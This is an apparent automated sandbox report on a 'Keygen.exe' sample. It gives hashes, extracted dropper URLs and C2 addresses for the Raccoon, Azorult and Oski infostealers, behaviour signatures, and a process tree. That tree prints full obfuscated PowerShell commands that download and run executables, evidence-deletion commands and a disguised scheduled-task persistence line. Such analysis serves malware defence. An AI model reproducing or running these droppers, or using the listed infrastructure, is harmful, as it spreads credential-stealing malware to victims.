Resubmissions

12-11-2021 18:04

211112-wnzb8aahhm 10

19-11-2020 10:08

201119-rhwlt38jrx 10

18-11-2020 17:26

201118-htd4fq29va 10

Analysis

  • max time kernel
    300s
  • max time network
    301s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    12-11-2021 18:04

General

  • Target

    Keygen.exe

  • Size

    849KB

  • MD5

    dbde61502c5c0e17ebc6919f361c32b9

  • SHA1

    189749cf0b66a9f560b68861f98c22cdbcafc566

  • SHA256

    88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b

  • SHA512

    d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Family

raccoon

Botnet

32365171a31c4583d6e3b7aad1690e41cefc38eb

Attributes
  • url4cnc

    http://telegalive.top/brikitiki

    http://toptelete.top/brikitiki

    http://telegraf.top/brikitiki

    https://t.me/brikitiki

rc4.plain
rc4.plain

Extracted

Family

azorult

C2

http://195.245.112.115/index.php

Extracted

Family

oski

C2

colonna.ac.ug

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • suricata: ET MALWARE Win32/AZORult V3.3 Client Checkin M18

    suricata: ET MALWARE Win32/AZORult V3.3 Client Checkin M18

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 10 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 11 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1016
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\60C9.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4020
      • C:\Users\Admin\AppData\Local\Temp\60C9.tmp\Keygen.exe
        Keygen.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:3920
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\60C9.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3556
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1536
          • C:\Users\Public\yfu.exe
            "C:\Users\Public\yfu.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4300
            • C:\Users\Admin\AppData\Local\Temp\cdvcxsdme.exe
              "C:\Users\Admin\AppData\Local\Temp\cdvcxsdme.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              PID:4404
              • C:\Users\Admin\AppData\Local\Temp\cdvcxsdme.exe
                "C:\Users\Admin\AppData\Local\Temp\cdvcxsdme.exe"
                7⤵
                • Executes dropped EXE
                PID:2404
            • C:\Users\Admin\AppData\Local\Temp\vbndfgame.exe
              "C:\Users\Admin\AppData\Local\Temp\vbndfgame.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              PID:4428
              • C:\Users\Admin\AppData\Local\Temp\vbndfgame.exe
                "C:\Users\Admin\AppData\Local\Temp\vbndfgame.exe"
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:1272
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /pid 1272 & erase C:\Users\Admin\AppData\Local\Temp\vbndfgame.exe & RD /S /Q C:\\ProgramData\\333368708752611\\* & exit
                  8⤵
                    PID:1464
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /pid 1272
                      9⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3840
              • C:\Users\Public\yfu.exe
                "C:\Users\Public\yfu.exe"
                6⤵
                • Executes dropped EXE
                PID:1760
        • C:\Windows\SysWOW64\mshta.exe
          "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\60C9.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1584
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1508
        • C:\Windows\SysWOW64\timeout.exe
          timeout 1
          3⤵
          • Delays execution with timeout.exe
          PID:1576
        • C:\Windows\SysWOW64\mshta.exe
          "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\60C9.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:396
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2344
            • C:\Users\Public\qdt.exe
              "C:\Users\Public\qdt.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4212
              • C:\Windows\SysWOW64\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rmfigo.vbs"
                6⤵
                  PID:4692
                  • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                    "C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Modifies registry class
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4824
                    • C:\Windows\SysWOW64\WScript.exe
                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dvdljtaccvivylcfphls.vbs"
                      8⤵
                        PID:1796
                        • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                          "C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe"
                          9⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3204
                          • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                            C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                            10⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Checks processor information in registry
                            PID:4596
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c taskkill /pid 4596 & erase C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe & RD /S /Q C:\\ProgramData\\039961947608230\\* & exit
                              11⤵
                                PID:4660
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /pid 4596
                                  12⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4996
                        • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                          C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                          8⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Accesses Microsoft Outlook profiles
                          • Checks processor information in registry
                          • Suspicious behavior: EnumeratesProcesses
                          • outlook_office_path
                          • outlook_win_path
                          PID:2020
                          • C:\Users\Admin\AppData\Local\Temp\cc.exe
                            "C:\Users\Admin\AppData\Local\Temp\cc.exe"
                            9⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Modifies system certificate store
                            PID:4184
                            • C:\Users\Admin\AppData\Local\Temp\cc.exe
                              C:\Users\Admin\AppData\Local\Temp\cc.exe
                              10⤵
                              • Executes dropped EXE
                              PID:1556
                              • C:\Windows\SysWOW64\schtasks.exe
                                /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
                                11⤵
                                • Creates scheduled task(s)
                                PID:4272
                          • C:\Users\Admin\AppData\Local\Temp\pm.exe
                            "C:\Users\Admin\AppData\Local\Temp\pm.exe"
                            9⤵
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4484
                            • C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe
                              C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe
                              10⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5040
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "Uxqcrfgglyzuwogibeigruaconsoleapp12.exe"
                            9⤵
                              PID:4488
                              • C:\Windows\SysWOW64\timeout.exe
                                C:\Windows\system32\timeout.exe 3
                                10⤵
                                • Delays execution with timeout.exe
                                PID:4564
                      • C:\Users\Admin\AppData\Local\Temp\qdt.exe
                        C:\Users\Admin\AppData\Local\Temp\qdt.exe
                        6⤵
                        • Executes dropped EXE
                        PID:4848
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 912
                          7⤵
                          • Suspicious use of NtCreateProcessExOtherParentProcess
                          • Program crash
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4892
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\60C9.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:400
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                    4⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:1768
                    • C:\Users\Public\sko.exe
                      "C:\Users\Public\sko.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4156
                      • C:\Windows\SysWOW64\WScript.exe
                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rmfigo.vbs"
                        6⤵
                          PID:4704
                          • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                            "C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe"
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Modifies registry class
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4836
                            • C:\Windows\SysWOW64\WScript.exe
                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dvdljtaccvivylcfphls.vbs"
                              8⤵
                                PID:1012
                                • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe"
                                  9⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3628
                                  • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                                    C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                                    10⤵
                                    • Executes dropped EXE
                                    PID:4616
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 1208
                                      11⤵
                                      • Program crash
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4820
                              • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                                C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                                8⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:2344
                              • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                                C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                                8⤵
                                • Executes dropped EXE
                                PID:4296
                          • C:\Users\Admin\AppData\Local\Temp\sko.exe
                            C:\Users\Admin\AppData\Local\Temp\sko.exe
                            6⤵
                            • Executes dropped EXE
                            PID:4884
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout 2
                      3⤵
                      • Delays execution with timeout.exe
                      PID:596
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\60C9.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:344
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                        4⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2012
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\60C9.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1912
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                        4⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1264

                Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • memory/1264-176-0x0000000007462000-0x0000000007463000-memory.dmp

                  Filesize

                  4KB

                • memory/1264-284-0x0000000007463000-0x0000000007464000-memory.dmp

                  Filesize

                  4KB

                • memory/1264-173-0x0000000007460000-0x0000000007461000-memory.dmp

                  Filesize

                  4KB

                • memory/1264-155-0x0000000004EF0000-0x0000000004EF1000-memory.dmp

                  Filesize

                  4KB

                • memory/1264-181-0x0000000007950000-0x0000000007951000-memory.dmp

                  Filesize

                  4KB

                • memory/1264-149-0x0000000004EF0000-0x0000000004EF1000-memory.dmp

                  Filesize

                  4KB

                • memory/1272-595-0x0000000000440000-0x000000000058A000-memory.dmp

                  Filesize

                  1.3MB

                • memory/1272-594-0x0000000000400000-0x0000000000434000-memory.dmp

                  Filesize

